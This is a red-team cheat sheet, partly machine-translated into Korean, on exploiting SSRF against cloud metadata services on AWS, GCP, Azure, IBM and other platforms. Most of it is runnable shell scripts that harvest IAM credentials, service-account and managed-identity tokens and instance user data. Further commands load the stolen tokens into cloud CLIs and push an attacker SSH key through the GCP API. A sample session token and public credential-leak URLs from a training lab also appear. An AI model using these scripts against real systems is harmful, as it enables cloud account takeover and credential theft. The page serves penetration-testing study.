Cloud SSRF
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
AWS
Abusing SSRF in AWS EC2 environment
메타데이터 엔드포인트는 모든 EC2 머신 내부에서 접근할 수 있으며 해당 인스턴스에 대한 흥미로운 정보를 제공합니다. 접근 가능한 URL은 http://169.254.169.254 (information about the metadata here)입니다.
메타데이터 엔드포인트에는 2가지 버전이 있습니다. 첫 번째는 GET 요청으로 엔드포인트에 액세스할 수 있도록 허용합니다(따라서 모든 SSRF가 이를 악용할 수 있습니다). 버전 2, IMDSv2에서는 HTTP header와 함께 PUT 요청을 보내 token을 요청한 다음 그 토큰을 다른 HTTP header와 함께 사용해 메타데이터에 접근해야 하므로 SSRF로 악용하기에는 더 복잡합니다.
Caution
EC2 인스턴스가 IMDSv2를 강제하는 경우, according to the docs, PUT 요청의 응답은 hop limit이 1로 설정되어 있어 EC2 인스턴스 내부의 컨테이너에서 EC2 메타데이터에 접근하는 것이 불가능해집니다.
또한, IMDSv2는
X-Forwarded-For헤더를 포함하는 토큰 요청도 차단합니다. 이는 잘못 구성된 리버스 프록시가 메타데이터에 접근하는 것을 방지하기 위한 조치입니다.
메타데이터 엔드포인트에 대한 정보는 metadata endpoints in the docs에서 확인할 수 있습니다. 다음 스크립트에서는 그로부터 몇 가지 흥미로운 정보를 얻습니다:
EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
URL="http://169.254.169.254/latest/meta-data"
aws_req=""
if [ "$(command -v curl)" ]; then
aws_req="curl -s -f -H '$HEADER'"
elif [ "$(command -v wget)" ]; then
aws_req="wget -q -O - -H '$HEADER'"
else
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
fi
printf "ami-id: "; eval $aws_req "$URL/ami-id"; echo ""
printf "instance-action: "; eval $aws_req "$URL/instance-action"; echo ""
printf "instance-id: "; eval $aws_req "$URL/instance-id"; echo ""
printf "instance-life-cycle: "; eval $aws_req "$URL/instance-life-cycle"; echo ""
printf "instance-type: "; eval $aws_req "$URL/instance-type"; echo ""
printf "region: "; eval $aws_req "$URL/placement/region"; echo ""
echo ""
echo "Account Info"
eval $aws_req "$URL/identity-credentials/ec2/info"; echo ""
eval $aws_req "http://169.254.169.254/latest/dynamic/instance-identity/document"; echo ""
echo ""
echo "Network Info"
for mac in $(eval $aws_req "$URL/network/interfaces/macs/" 2>/dev/null); do
echo "Mac: $mac"
printf "Owner ID: "; eval $aws_req "$URL/network/interfaces/macs/$mac/owner-id"; echo ""
printf "Public Hostname: "; eval $aws_req "$URL/network/interfaces/macs/$mac/public-hostname"; echo ""
printf "Security Groups: "; eval $aws_req "$URL/network/interfaces/macs/$mac/security-groups"; echo ""
echo "Private IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv4-associations/"; echo ""
printf "Subnet IPv4: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv4-cidr-block"; echo ""
echo "PrivateIPv6s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv6s"; echo ""
printf "Subnet IPv6: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv6-cidr-blocks"; echo ""
echo "Public IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/public-ipv4s"; echo ""
echo ""
done
echo ""
echo "IAM Role"
eval $aws_req "$URL/iam/info"
for role in $(eval $aws_req "$URL/iam/security-credentials/" 2>/dev/null); do
echo "Role: $role"
eval $aws_req "$URL/iam/security-credentials/$role"; echo ""
echo ""
done
echo ""
echo "User Data"
# Search hardcoded credentials
eval $aws_req "http://169.254.169.254/latest/user-data"
echo ""
echo "EC2 Security Credentials"
eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""
공개적으로 노출된 IAM credentials 예시로 다음 주소를 확인할 수 있습니다: http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws
또한 공개된 EC2 security credentials는 다음에서 확인할 수 있습니다: http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance
그런 다음 those credentials and use them with the AWS CLI를 가져와 사용하면, 해당 role이 허용하는 anything that role has permissions을(를) 수행할 수 있습니다.
새로운 credentials를 활용하려면, 다음과 같이 새 AWS profile을 생성해야 합니다:
[profilename]
aws_access_key_id = ASIA6GG71[...]
aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT[...]
aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw=
참고: aws_session_token은 프로필이 정상 작동하기 위해 필수입니다.
PACU를 발견된 자격 증명과 함께 사용해 권한을 확인하고 권한 상승을 시도할 수 있습니다.
SSRF in AWS ECS (Container Service) 자격 증명
ECS는 EC2 인스턴스의 논리적 그룹으로, ECS가 클러스터 관리 인프라를 대신 관리해 주므로 직접 클러스터 관리를 확장할 필요 없이 애플리케이션을 실행할 수 있습니다. ECS에서 실행 중인 서비스를 탈취하면 metadata endpoints가 변경됩니다.
_http://169.254.170.2/v2/credentials/<GUID>_에 접근하면 ECS 머신의 자격 증명을 확인할 수 있습니다. 하지만 먼저 <GUID>를 찾아야 합니다. <GUID>를 찾으려면 머신 내부의 environ 변수 AWS_CONTAINER_CREDENTIALS_RELATIVE_URI를 읽어야 합니다.
이를 읽기 위해 file:///proc/self/environ에 대한 Path Traversal을 악용할 수 있습니다.
해당 http 주소는 AccessKey, SecretKey 및 token을 반환합니다.
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
Tip
컨테이너에서 일부 경우에 EC2 metadata instance에 접근할 수 있다는 점에 유의하세요 (앞서 언급한 IMDSv2 TTL 제한을 확인하세요). 이러한 시나리오에서는 컨테이너에서 컨테이너 IAM 역할과 EC2 IAM 역할 모두에 접근할 수 있습니다.
SSRF for AWS Lambda
In this case the credentials are stored in env variables. So, to access them you need to access something like file:///proc/self/environ.
The name of the interesting env variables are:
AWS_SESSION_TOKENAWS_SECRET_ACCESS_KEYAWS_ACCES_KEY_ID
Moreover, in addition to IAM credentials, Lambda functions also have event data that is passed to the function when it is started. This data is made available to the function via the runtime interface and could contain sensitive information (like inside the stageVariables). Unlike IAM credentials, this data is accessible over standard SSRF at http://localhost:9001/2018-06-01/runtime/invocation/next.
Warning
Note that lambda credentials are inside the env variables. So if the stack trace of the lambda code prints env vars, it’s possible to exfiltrate them provoking an error in the app.
SSRF URL for AWS Elastic Beanstalk
We retrieve the accountId and region from the API.
http://169.254.169.254/latest/dynamic/instance-identity/document
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
그런 다음 API에서 AccessKeyId, SecretAccessKey 및 Token을 가져옵니다.
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role
그런 다음 해당 자격 증명을 사용해 aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/를 실행합니다.
GCP
You can find here the docs about metadata endpoints.
SSRF URL for Google Cloud
HTTP 헤더 Metadata-Flavor: Google 가 필요하며, 다음 URL들을 통해 메타데이터 엔드포인트에 접근할 수 있습니다:
정보를 추출하기에 유용한 엔드포인트:
# /project
# Project name and number
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id
# Project attributes
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/attributes/?recursive=true
# /oslogin
# users
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/users
# groups
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/groups
# security-keys
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/security-keys
# authorize
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/authorize
# /instance
# Description
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/description
# Hostname
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/hostname
# ID
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
# Image
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/image
# Machine Type
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/machine-type
# Name
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/name
# Tags
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/scheduling/tags
# Zone
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
# User data
curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/attributes/startup-script"
# Network Interfaces
for iface in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/"); do
echo " IP: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/ip")
echo " Subnetmask: "$(curl -s -f -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/subnetmask")
echo " Gateway: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/gateway")
echo " DNS: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/dns-servers")
echo " Network: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/network")
echo " ============== "
done
# Service Accounts
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
echo " Name: $sa"
echo " Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
echo " Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
echo " Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
echo " Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
echo " Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
echo " ============== "
done
# K8s Attributtes
## Cluster location
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-location
## Cluster name
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-name
## Os-login enabled
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/enable-oslogin
## Kube-env
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-env
## Kube-labels
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-labels
## Kubeconfig
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kubeconfig
# All custom project attributes
curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"
# All custom project attributes instance attributes
curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"
Beta는 현재 헤더를 필요로 하지 않습니다 (감사합니다 Mathias Karlsson @avlidienbrunn)
http://metadata.google.internal/computeMetadata/v1beta1/
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
Caution
탈취한 서비스 계정 토큰을 사용하려면 다음과 같이 하면 됩니다:
# Via env vars export CLOUDSDK_AUTH_ACCESS_TOKEN=<token> gcloud projects list # Via setup echo "<token>" > /some/path/to/token gcloud config set auth/access_token_file /some/path/to/token gcloud projects list gcloud config unset auth/access_token_file
SSH 키 추가
토큰 추출
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json
token의 scope를 확인하세요 (이전 출력에서 확인하거나 아래를 실행하세요)
curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA {
"issued_to": "101302079XXXXX",
"audience": "10130207XXXXX",
"scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring",
"expires_in": 2443,
"access_type": "offline"
}
이제 SSH 키를 푸시하세요.
curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata"
-H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA"
-H "Content-Type: application/json"
--data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}'
Cloud Functions
메타데이터 엔드포인트는 VMs에서와 동일하게 동작하지만 일부 엔드포인트는 없습니다:
# /project
# Project name and number
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id
# /instance
# ID
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
# Zone
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
# Auto MTLS config
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/platform-security/auto-mtls-configuration
# Service Accounts
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
echo " Name: $sa"
echo " Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
echo " Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
echo " Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
echo " Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
echo " Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
echo " ============== "
done
Digital Ocean
Warning
AWS Roles나 GCP service account 같은 것은 없으므로 메타데이터 봇 자격 증명을 기대하지 마세요
문서는 다음에서 확인할 수 있습니다: https://developers.digitalocean.com/documentation/metadata/
curl http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1.json
http://169.254.169.254/metadata/v1/
http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1/user-data
http://169.254.169.254/metadata/v1/hostname
http://169.254.169.254/metadata/v1/region
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/addressAll in one request:
curl http://169.254.169.254/metadata/v1.json | jq
Azure
Azure VM
- 반드시 헤더
Metadata: true를 포함해야 함 - 포함해서는 안 됨
X-Forwarded-For헤더
Tip
Azure VM에는 1개의 system assigned managed identity와 여러 개의 user assigned managed identity가 연결될 수 있다. 이는 기본적으로 VM에 연결된 모든 managed identity를 가장(impersonate)할 수 있다는 뜻이다.
metadata endpoint에 액세스 토큰을 요청할 때, 기본적으로 metadata service는 system assigned managed identity가 있다면 해당 system assigned managed identity를 사용해 토큰을 생성한다. 만약 단 하나의 user assigned managed identity만 있는 경우에는 그 identity가 기본으로 사용된다. 그러나 system assigned managed identity가 없고 여러 개의 user assigned managed identity가 있는 경우 metadata service는 여러 managed identity가 존재한다는 오류를 반환하며 어떤 것을 사용할지 명시해야 한다고 알린다.
안타깝게도 VM에 어떤 MI들이 연결되어 있는지 모두 알려주는 metadata endpoint를 찾지 못했기 때문에, Red Team 관점에서는 VM에 할당된 모든 managed identity를 알아내는 것이 어려울 수 있다.
따라서 연결된 모든 MI를 찾으려면 다음을 시도할 수 있다:
- az cli로 연결된 identities 확인 (이미 Azure 테넌트에서
Microsoft.Compute/virtualMachines/read권한을 가진 주체를 탈취한 경우)az vm identity show \ --resource-group <rsc-group> \ --name <vm-name>
- metadata의 기본으로 연결된 MI를 사용해 attached identities 확인:
export API_VERSION="2021-12-13" # Get token from default MI export TOKEN=$(curl -s -H "Metadata:true" \ "http://169.254.169.254/metadata/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/" \ | jq -r '.access_token') # Get needed details export SUBSCRIPTION_ID=$(curl -s -H "Metadata:true" \ "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.subscriptionId') export RESOURCE_GROUP=$(curl -s -H "Metadata:true" \ "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.resourceGroupName') export VM_NAME=$(curl -s -H "Metadata:true" \ "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.name') # Try to get attached MIs curl -s -H "Authorization: Bearer $TOKEN" \ "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Compute/virtualMachines/$VM_NAME?api-version=$API_VERSION" | jq
- 테넌트에 정의된 모든 managed identity를 가져와 VM에 연결되어 있는지 brute force로 확인 (필요 권한:
Microsoft.ManagedIdentity/userAssignedIdentities/read):az identity list
Caution
토큰 요청 시 원하는 managed identity를 지정하려면
object_id,client_id또는msi_res_id중 하나의 파라미터를 사용하라 (docs). 지정하지 않으면 기본 MI가 사용된다.
HEADER="Metadata:true"
URL="http://169.254.169.254/metadata"
API_VERSION="2021-12-13" #https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service?tabs=linux#supported-api-versions
echo "Instance details"
curl -s -f -H "$HEADER" "$URL/instance?api-version=$API_VERSION"
echo "Load Balancer details"
curl -s -f -H "$HEADER" "$URL/loadbalancer?api-version=$API_VERSION"
echo "Management Token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/"
echo "Graph token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://graph.microsoft.com/"
echo "Vault token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://vault.azure.net/"
echo "Storage token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://storage.azure.com/"
Warning
해당 엔드포인트
http://169.254.169.254/metadata/v1/instanceinfo는Metadata: True헤더를 필요로 하지 않습니다.` 이는 SSRF 취약점이 있는 Azure 환경에서 해당 헤더를 추가할 수 없을 때 영향을 보여주기에 매우 유용합니다.
Azure App & Functions Services & Automation Accounts
env에서 **IDENTITY_HEADER**와 IDENTITY_ENDPOINT 값을 얻을 수 있습니다. 이를 사용해 metadata 서버와 통신하기 위한 토큰을 획득할 수 있습니다.
대부분의 경우, 다음 리소스 중 하나에 대한 토큰을 원합니다:
- https://storage.azure.com
- https://vault.azure.net
- https://graph.microsoft.com
- https://management.azure.com
Caution
토큰 요청 시
object_id,client_id또는msi_res_id중 하나의 파라미터를 사용하여 사용하려는 managed identity를 지정하세요 (docs). 지정하지 않으면 default MI will be used.
# Check for those env vars to know if you are in an Azure app
echo $IDENTITY_HEADER
echo $IDENTITY_ENDPOINT
# (Fingerprint) You should also be able to find the folder:
ls /opt/microsoft
# Get management token
curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
# Get graph token
curl "$IDENTITY_ENDPOINT?resource=https://graph.microsoft.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
# Get vault token
curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
# Get storage token
curl "$IDENTITY_ENDPOINT?resource=https://storage.azure.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
IBM Cloud
Warning
IBM에서는 기본적으로 metadata가 활성화되어 있지 않으므로, IBM Cloud VM 내부에 있더라도 metadata에 접근하지 못할 수 있습니다.
export instance_identity_token=`curl -s -X PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\
-H "Metadata-Flavor: ibm"\
-H "Accept: application/json"\
-d '{
"expires_in": 3600
}' | jq -r '(.access_token)'`
# Get instance details
curl -s -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" -X GET "http://169.254.169.254/metadata/v1/instance?version=2022-03-01" | jq
# Get SSH keys info
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/keys?version=2022-03-01" | jq
# Get SSH keys fingerprints & user data
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01" | jq
# Get placement groups
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01" | jq
# Get IAM credentials
curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq
Documentation for various platforms’ metadata services is outlined below, highlighting the methods through which configuration and runtime information for instances can be accessed. Each platform offers unique endpoints to access its metadata services.
Packetcloud
For accessing Packetcloud’s metadata, the documentation can be found at: https://metadata.packet.net/userdata
OpenStack/RackSpace
The necessity for a header is not mentioned. Metadata can be accessed through:
http://169.254.169.254/openstack
HP Helion
The necessity for a header is not mentioned here either. Metadata is accessible at:
http://169.254.169.254/2009-04-04/meta-data/
Oracle Cloud
Oracle Cloud provides a series of endpoints for accessing various metadata aspects:
http://192.0.0.192/latest/http://192.0.0.192/latest/user-data/http://192.0.0.192/latest/meta-data/http://192.0.0.192/latest/attributes/
Alibaba
Alibaba offers endpoints for accessing metadata, including instance and image IDs:
http://100.100.100.200/latest/meta-data/http://100.100.100.200/latest/meta-data/instance-idhttp://100.100.100.200/latest/meta-data/image-id
Kubernetes ETCD
Kubernetes ETCD can hold API keys, internal IP addresses, and ports. Access is demonstrated through:
curl -L http://127.0.0.1:2379/versioncurl http://127.0.0.1:2379/v2/keys/?recursive=true
Docker
Docker metadata can be accessed locally, with examples given for container and image information retrieval:
- Simple example to access containers and images metadata via the Docker socket:
docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash- Inside the container, use curl with the Docker socket:
curl --unix-socket /var/run/docker.sock http://foo/containers/jsoncurl --unix-socket /var/run/docker.sock http://foo/images/json
Rancher
Rancher’s metadata can be accessed using:
curl http://rancher-metadata/<version>/<path>
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.


